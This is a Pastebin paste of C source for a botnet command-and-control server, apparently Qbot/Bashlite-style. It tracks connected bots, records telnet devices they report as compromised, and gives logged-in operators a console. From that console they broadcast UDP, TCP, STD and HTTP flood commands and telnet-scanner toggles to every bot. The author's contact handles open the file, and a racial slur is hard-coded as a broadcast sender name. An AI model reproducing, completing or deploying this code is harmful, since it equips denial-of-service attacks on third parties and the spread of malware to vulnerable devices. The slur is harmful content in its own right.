Advertisement
GodAres

[Fbi.c] server side

May 13th, 2017
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.76 KB | None | 0 0
  1. //my contact info
  2. //KIK: XVPL
  3. //SKYPE: Ares
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <stdint.h>
  7. #include <inttypes.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netdb.h>
  12. #include <unistd.h>
  13. #include <time.h>
  14. #include <fcntl.h>
  15. #include <sys/epoll.h>
  16. #include <errno.h>
  17. #include <pthread.h>
  18. #include <signal.h>
  19. #include <arpa/inet.h>
  20. #define MAXFDS 1000000
  21. //////////////////////////////////
  22. struct login_info {
  23. char username[20];
  24. char password[20];
  25. };
  26. static struct login_info accounts[22];
  27. struct clientdata_t {
  28. uint32_t ip;
  29. char connected;
  30. } clients[MAXFDS];
  31. struct telnetdata_t {
  32. int connected;
  33. } managements[MAXFDS];
  34. struct args {
  35. int sock;
  36. struct sockaddr_in cli_addr;
  37. };
  38. static volatile FILE *telFD;
  39. static volatile FILE *fileFD;
  40. static volatile int epollFD = 0;
  41. static volatile int listenFD = 0;
  42. static volatile int OperatorsConnected = 0;
  43. static volatile int TELFound = 0;
  44. static volatile int scannerreport;
  45. //////////////////////////////////
  46. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  47. int total = 0, got = 1;
  48. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  49. return got;
  50. }
  51. void trim(char *str) {
  52. int i;
  53. int begin = 0;
  54. int end = strlen(str) - 1;
  55. while (isspace(str[begin])) begin++;
  56. while ((end >= begin) && isspace(str[end])) end--;
  57. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  58. str[i - begin] = '\0';
  59. }
  60. static int make_socket_non_blocking (int sfd) {
  61. int flags, s;
  62. flags = fcntl (sfd, F_GETFL, 0);
  63. if (flags == -1) {
  64. perror ("fcntl");
  65. return -1;
  66. }
  67. flags |= O_NONBLOCK;
  68. s = fcntl (sfd, F_SETFL, flags);
  69. if (s == -1) {
  70. perror ("fcntl");
  71. return -1;
  72. }
  73. return 0;
  74. }
  75. static int create_and_bind (char *port) {
  76. struct addrinfo hints;
  77. struct addrinfo *result, *rp;
  78. int s, sfd;
  79. memset (&hints, 0, sizeof (struct addrinfo));
  80. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  81. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  82. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  83. s = getaddrinfo (NULL, port, &hints, &result);
  84. if (s != 0) {
  85. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  86. return -1;
  87. }
  88. for (rp = result; rp != NULL; rp = rp->ai_next) {
  89. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  90. if (sfd == -1) continue;
  91. int yes = 1;
  92. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  93. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  94. if (s == 0) {
  95. break;
  96. }
  97. close (sfd);
  98. }
  99. if (rp == NULL) {
  100. fprintf (stderr, "Could not bind\n");
  101. return -1;
  102. }
  103. freeaddrinfo (result);
  104. return sfd;
  105. }
  106. void broadcast(char *msg, int us, char *sender)
  107. {
  108. int sendMGM = 1;
  109. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  110. char *wot = malloc(strlen(msg) + 10);
  111. memset(wot, 0, strlen(msg) + 10);
  112. strcpy(wot, msg);
  113. trim(wot);
  114. time_t rawtime;
  115. struct tm * timeinfo;
  116. time(&rawtime);
  117. timeinfo = localtime(&rawtime);
  118. char *timestamp = asctime(timeinfo);
  119. trim(timestamp);
  120. int i;
  121. for(i = 0; i < MAXFDS; i++)
  122. {
  123. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  124. if(sendMGM && managements[i].connected)
  125. {
  126. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  127. send(i, sender, strlen(sender), MSG_NOSIGNAL); // NTP: SS
  128. send(i, ": ", 2, MSG_NOSIGNAL);
  129. }
  130. printf("sent to fd: %d\n", i);
  131. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  132. if(sendMGM && managements[i].connected) send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  133. else send(i, "\n", 1, MSG_NOSIGNAL);
  134. }
  135. free(wot);
  136. }
  137. void *BotEventLoop(void *useless) {
  138. struct epoll_event event;
  139. struct epoll_event *events;
  140. int s;
  141. events = calloc (MAXFDS, sizeof event);
  142. while (1) {
  143. int n, i;
  144. n = epoll_wait (epollFD, events, MAXFDS, -1);
  145. for (i = 0; i < n; i++) {
  146. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  147. clients[events[i].data.fd].connected = 0;
  148. close(events[i].data.fd);
  149. continue;
  150. }
  151. else if (listenFD == events[i].data.fd) {
  152. while (1) {
  153. struct sockaddr in_addr;
  154. socklen_t in_len;
  155. int infd, ipIndex;
  156.  
  157. in_len = sizeof in_addr;
  158. infd = accept (listenFD, &in_addr, &in_len);
  159. if (infd == -1) {
  160. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  161. else {
  162. perror ("accept");
  163. break;
  164. }
  165. }
  166.  
  167. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  168. int dup = 0;
  169. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  170. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  171. if(clients[ipIndex].ip == clients[infd].ip) {
  172. dup = 1;
  173. break;
  174. }}
  175. if(dup) {
  176. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  177. close(infd);
  178. continue;
  179. }
  180. s = make_socket_non_blocking (infd);
  181. if (s == -1) { close(infd); break; }
  182. event.data.fd = infd;
  183. event.events = EPOLLIN | EPOLLET;
  184. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  185. if (s == -1) {
  186. perror ("epoll_ctl");
  187. close(infd);
  188. break;
  189. }
  190. clients[infd].connected = 1;
  191. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  192. }
  193. continue;
  194. }
  195. else {
  196. int datafd = events[i].data.fd;
  197. struct clientdata_t *client = &(clients[datafd]);
  198. int done = 0;
  199. client->connected = 1;
  200. while (1) {
  201. ssize_t count;
  202. char buf[2048];
  203. memset(buf, 0, sizeof buf);
  204. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  205. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  206. trim(buf);
  207. if(strcmp(buf, "PING") == 0) {
  208. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  209. continue;
  210. }
  211. if(strstr(buf, "REPORT ") == buf) {
  212. char *line = strstr(buf, "REPORT ") + 7;
  213. fprintf(telFD, "%s\n", line);
  214. fflush(telFD);
  215. TELFound++;
  216. continue;
  217. }
  218. if(strstr(buf, "PROBING") == buf) {
  219. char *line = strstr(buf, "PROBING");
  220. scannerreport = 1;
  221. continue;
  222. }
  223. if(strstr(buf, "REMOVING PROBE") == buf) {
  224. char *line = strstr(buf, "REMOVING PROBE");
  225. scannerreport = 0;
  226. continue;
  227. }
  228. if(strcmp(buf, "PONG") == 0) {
  229. continue;
  230. }
  231. printf("buf: \"%s\"\n", buf);
  232. }
  233. if (count == -1) {
  234. if (errno != EAGAIN) {
  235. done = 1;
  236. }
  237. break;
  238. }
  239. else if (count == 0) {
  240. done = 1;
  241. break;
  242. }
  243. if (done) {
  244. client->connected = 0;
  245. close(datafd);
  246. }
  247. }
  248. }
  249. }
  250. }
  251. }
  252. unsigned int BotsConnected() {
  253. int i = 0, total = 0;
  254. for(i = 0; i < MAXFDS; i++) {
  255. if(!clients[i].connected) continue;
  256. total++;
  257. }
  258. return total;
  259. }
  260. void *TitleWriter(void *sock) {
  261. int datafd = (int)sock;
  262. char string[2048];
  263. while(1) {
  264. memset(string, 0, 2048);
  265. sprintf(string, "%c]0;Bots: %d | Officers: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  266. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  267. sleep(2);
  268. }}
  269. int Find_Login(char *str) {
  270. FILE *fp;
  271. int line_num = 0;
  272. int find_result = 0, find_line=0;
  273. char temp[512];
  274.  
  275. if((fp = fopen("login.txt", "r")) == NULL){
  276. return(-1);
  277. }
  278. while(fgets(temp, 512, fp) != NULL){
  279. if((strstr(temp, str)) != NULL){
  280. find_result++;
  281. find_line = line_num;
  282. }
  283. line_num++;
  284. }
  285. if(fp)
  286. fclose(fp);
  287. if(find_result == 0)return 0;
  288. return find_line;
  289. }
  290. void *BotWorker(void *sock) {
  291. int datafd = (int)sock;
  292. int find_line;
  293. OperatorsConnected++;
  294. pthread_t title;
  295. char buf[2048];
  296. char* username;
  297. char* password;
  298. memset(buf, 0, sizeof buf);
  299. char botnet[2048];
  300. memset(botnet, 0, 2048);
  301.  
  302. FILE *fp;
  303. int i=0;
  304. int c;
  305. fp=fopen("login.txt", "r");
  306. while(!feof(fp)) {
  307. c=fgetc(fp);
  308. ++i;
  309. }
  310. int j=0;
  311. rewind(fp);
  312. while(j!=i-1) {
  313. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  314. ++j;
  315. }
  316.  
  317. if(send(datafd, "\x1b[37mUsername: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  318. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  319. trim(buf);
  320. char* nickstring;
  321. sprintf(accounts[find_line].username, buf);
  322. nickstring = ("%s", buf);
  323. find_line = Find_Login(nickstring);
  324. if(strcmp(nickstring, accounts[find_line].username) == 0){
  325. if(send(datafd, "\x1b[37mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  326. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  327. trim(buf);
  328. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  329. memset(buf, 0, 2048);
  330. goto Banner;
  331. }
  332. failed:
  333. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  334. char failed_line1[80];
  335. char ascii_failed_line1 [80];
  336. char ascii_failed_line2 [80];
  337. char ascii_failed_line3 [80];
  338. char ascii_failed_line4 [80];
  339. char ascii_failed_line5 [80];
  340. char ascii_failed_line6 [80];
  341. char ascii_failed_line7 [80];
  342. char ascii_failed_line8 [80];
  343. char ascii_failed_line9 [80];
  344.  
  345. sprintf(ascii_failed_line1, "\x1b[31m _______ __ __ ________ _______ __ __ ________ \r\n");
  346. sprintf(ascii_failed_line2, "\x1b[31m/ \ / \ / |/ | / \ / \ / |/ |\r\n");
  347. sprintf(ascii_failed_line3, "\x1b[31m$$$$$$$ |$$ \ /$$/ $$$$$$$$/ $$$$$$$ |$$ \ /$$/ $$$$$$$$/ \r\n");
  348. sprintf(ascii_failed_line4, "\x1b[31m$$ |__$$ | $$ \/$$/ $$ |__ $$ |__$$ | $$ \/$$/ $$ |__ \r\n");
  349. sprintf(ascii_failed_line5, "\x1b[31m$$ $$< $$ $$/ $$ | $$ $$< $$ $$/ $$ | \r\n");
  350. sprintf(ascii_failed_line6, "\x1b[31m$$$$$$$ | $$$$/ $$$$$/ $$$$$$$ | $$$$/ $$$$$/ \r\n");
  351. sprintf(ascii_failed_line7, "\x1b[31m$$ |__$$ | $$ | $$ |_____ $$ |__$$ | $$ | $$ |_____ \r\n");
  352. sprintf(ascii_failed_line8, "\x1b[31m$$ $$/ $$ | $$ | $$ $$/ $$ | $$ |\r\n");
  353. sprintf(ascii_failed_line9, "\x1b[31m$$$$$$$/ $$/ $$$$$$$$/ $$$$$$$/ $$/ $$$$$$$$/ \r\n");
  354.  
  355. sprintf(failed_line1, "\r\n\x1b[31m :( \r\n");
  356.  
  357. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  358. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  359. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  360. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  361. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  362. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  363. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  364. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  365. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  366.  
  367. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  368. sleep(5);
  369. goto end;
  370.  
  371. Banner:
  372. pthread_create(&title, NULL, &TitleWriter, sock);
  373. char ascii_banner_line1 [5000];
  374. char ascii_banner_line2 [5000];
  375. char ascii_banner_line3 [5000];
  376. char ascii_banner_line4 [5000];
  377. char ascii_banner_line5 [5000];
  378. char ascii_banner_line6 [5000];
  379. char welcome_line [80];
  380. char banner_bot_count [2048];
  381. memset(banner_bot_count, 0, 2048);
  382.  
  383. sprintf(ascii_banner_line1, "\x1b[31m8eeee 8eeee8 8 8eeee8 8 8 8eeee8 8eeee8 8eeee8 8eeee ee8ee\r\n");
  384. sprintf(ascii_banner_line2, "\x1b[32m8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 \r\n");
  385. sprintf(ascii_banner_line3, "\x1b[33m8eeee 8eeee8ee 8e 8eeeee 8e 8 8eeee8 8eeee8 8 8 8eee8e 8e \r\n");
  386. sprintf(ascii_banner_line4, "\x1b[34m88 88 8 88 88 88 8 88 88 8 8 88 8 88 \r\n");
  387. sprintf(ascii_banner_line5, "\x1b[35m88 88 8 88 e 88 88 8 88 88 8 8 88 8 88 \r\n");
  388. sprintf(ascii_banner_line6, "\x1b[36m88 88eeeee8 88 8eee88 88ee8 88 88 8eeee8 88 8 88 \r\n");
  389. sprintf(welcome_line, "\r\n\x1b[37m [+]\x1b[31mWelcome To The FBI\x1b[37m[+]\r\n", accounts[find_line].username);
  390. sprintf(banner_bot_count, "\x1b[37m [+]\x1b[31mType HELP To List The Commands\x1b[37m[+]\r\n", BotsConnected(), OperatorsConnected);
  391.  
  392. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  393. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  394. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  395. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  396. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  397. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  398. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  399. while(1) {
  400. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  401. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  402. break;
  403. }
  404. pthread_create(&title, NULL, &TitleWriter, sock);
  405. managements[datafd].connected = 1;
  406.  
  407. while(fdgets(buf, sizeof buf, datafd) > 0)
  408. {
  409. if(strstr(buf, "BOTS")) {
  410. char botcount [2048];
  411. memset(botcount, 0, 2048);
  412. sprintf(botcount, "\x1b[37m[+] ~ Bots: [\x1b[31m %d \x1b[37m] [+] ~ Officers: [\x1b[31m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  413. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  414. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  415. continue;
  416. }
  417. if(strstr(buf, "STATUS")){
  418. char statuscount [2048];
  419. memset(statuscount, 0, 2048);
  420. sprintf(statuscount, "\x1b[37m[+] ~ Devices: [\x1b[31m %d \x1b[37m] [+] ~ Status: [\x1b[31m %d \x1b[37m]\r\n", TELFound, scannerreport);
  421. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  422. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  423. continue;
  424. }
  425. if(strstr(buf, "HELP")) {
  426. pthread_create(&title, NULL, &TitleWriter, sock);
  427. char helpline1 [80];
  428. char helpline2 [80];
  429. char helpline3 [80];
  430. char helpline4 [80];
  431. char helpline5 [80];
  432. char helpline6 [80];
  433. char helpline7 [80];
  434. char helpline8 [80];
  435. char helpline9 [80];
  436. char helpline10 [80];
  437. char helpline11 [80];
  438. char helpline12 [80];
  439. char helpline13 [80];
  440. char helpline14 [80];
  441.  
  442. sprintf(helpline1, " \r\n\x1b[37m [+] \x1b[31mATTACK COMMANDS\x1b[37m [+]\r\n\r\n");
  443. sprintf(helpline2, " \x1b[37m[+] UDP [+] \x1b[31m!* UDP IP PORT TIME 32 0 10\r\n");
  444. sprintf(helpline3, " \x1b[37m[+] TCP [+] \x1b[31m!* TCP IP PORT TIME 32 all 0 10\r\n");
  445. sprintf(helpline4, " \x1b[37m[+] STD [+] \x1b[31m!* STD IP PORT TIME\r\n");
  446. sprintf(helpline5, " \x1b[37m[+] HTTP [+] \x1b[31m!* HTTPFLOOD Post IP PORT /index.html 30 10000\r\n");
  447. sprintf(helpline6, " \x1b[37m[+] Kills Attack [+] \x1b[31mKILL\r\n");
  448. sprintf(helpline7, " \r\n\x1b[37m [+] \x1b[31mEXTRA COMMANDS\x1b[37m [+]\r\n\r\n");
  449. sprintf(helpline8, " \x1b[37m[+] BOTS [+] | \x1b[31mSHOWS BOT COUNT\r\n");
  450. sprintf(helpline9, " \x1b[37m[+] CLEAR [+] | \x1b[31mCLEARS SCREEN\r\n");
  451. sprintf(helpline10, " \x1b[37m[+] STATUS [+] | \x1b[31mSHOWS TELNET DEVICES & STATUS\r\n");
  452. sprintf(helpline11, " \x1b[37m[+] LOGOUT [+] | \x1b[31mLOGS USER OUT\r\n");
  453. sprintf(helpline12, " \r\n\x1b[37m [+] \x1b[31mSCANNING COMMANDS\x1b[37m [+]\r\n\r\n");
  454. sprintf(helpline13, " \x1b[37m[+] TELNET SCANNER ON [+] \x1b[31m!* SCANNER ON\r\n");
  455. sprintf(helpline14, " \x1b[37m[+] TELNET SCANNER OFF [+] \x1b[31m!* SCANNER OFF\r\n");
  456.  
  457. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  458. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  459. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  460. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  461. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  462. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  463. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  464. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  465. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  469. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  470. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  471. pthread_create(&title, NULL, &TitleWriter, sock);
  472. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  473. continue;
  474. }
  475. if(strstr(buf, "KILL")) {
  476. char killattack [2048];
  477. memset(killattack, 0, 2048);
  478. sprintf(killattack, "!* KILLATTK\r\n");
  479. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  480. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  481. continue;
  482. }
  483. if(strstr(buf, "CLEAR")) {
  484. char clearscreen [2048];
  485. memset(clearscreen, 0, 2048);
  486. sprintf(clearscreen, "\033[2J\033[1;1H");
  487. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  488. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  489. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  490. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  491. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  493. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  494. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  495. while(1) {
  496. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  498. break;
  499. }
  500. continue;
  501. }
  502.  
  503. if(strstr(buf, "LOGOUT")) {
  504. char logoutmessage [2048];
  505. memset(logoutmessage, 0, 2048);
  506. sprintf(logoutmessage, "Till' Next Time, %s", accounts[find_line].username);
  507. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  508. sleep(5);
  509. goto end;
  510. }
  511. trim(buf);
  512. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  513. if(strlen(buf) == 0) continue;
  514. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  515.  
  516. FILE *LogFile;
  517. LogFile = fopen("server.log", "a");
  518. time_t now;
  519. struct tm *gmt;
  520. char formatted_gmt [50];
  521. char lcltime[50];
  522. now = time(NULL);
  523. gmt = gmtime(&now);
  524. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  525. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  526. fclose(LogFile);
  527. broadcast(buf, datafd, accounts[find_line].username);
  528. memset(buf, 0, 2048);
  529. }
  530. end:
  531. managements[datafd].connected = 0;
  532. close(datafd);
  533. OperatorsConnected--;
  534. }
  535. void *BotListener(int port) {
  536. int sockfd, newsockfd;
  537. socklen_t clilen;
  538. struct sockaddr_in serv_addr, cli_addr;
  539. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  540. if (sockfd < 0) perror("ERROR opening socket");
  541. bzero((char *) &serv_addr, sizeof(serv_addr));
  542. serv_addr.sin_family = AF_INET;
  543. serv_addr.sin_addr.s_addr = INADDR_ANY;
  544. serv_addr.sin_port = htons(port);
  545. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  546. listen(sockfd,5);
  547. clilen = sizeof(cli_addr);
  548. while(1) {
  549. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  550. if (newsockfd < 0) perror("ERROR on accept");
  551. pthread_t thread;
  552. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  553. }}
  554. int main (int argc, char *argv[], void *sock)
  555. {
  556. signal(SIGPIPE, SIG_IGN);
  557. int s, threads, port;
  558. struct epoll_event event;
  559. if (argc != 4) {
  560. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  561. exit (EXIT_FAILURE);
  562. }
  563. port = atoi(argv[3]);
  564. telFD = fopen("telnet.txt", "a+");
  565. threads = atoi(argv[2]);
  566. listenFD = create_and_bind (argv[1]);
  567. if (listenFD == -1) abort ();
  568. s = make_socket_non_blocking (listenFD);
  569. if (s == -1) abort ();
  570. s = listen (listenFD, SOMAXCONN);
  571. if (s == -1) {
  572. perror ("listen");
  573. abort ();
  574. }
  575. epollFD = epoll_create1 (0);
  576. if (epollFD == -1) {
  577. perror ("epoll_create");
  578. abort ();
  579. }
  580. event.data.fd = listenFD;
  581. event.events = EPOLLIN | EPOLLET;
  582. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  583. if (s == -1) {
  584. perror ("epoll_ctl");
  585. abort ();
  586. }
  587. pthread_t thread[threads + 2];
  588. while(threads--) {
  589. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  590. }
  591. pthread_create(&thread[0], NULL, &BotListener, port);
  592. while(1) {
  593. broadcast("PING", -1, "NIGGER");
  594. sleep(60);
  595. }
  596. close (listenFD);
  597. return EXIT_SUCCESS;
  598. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement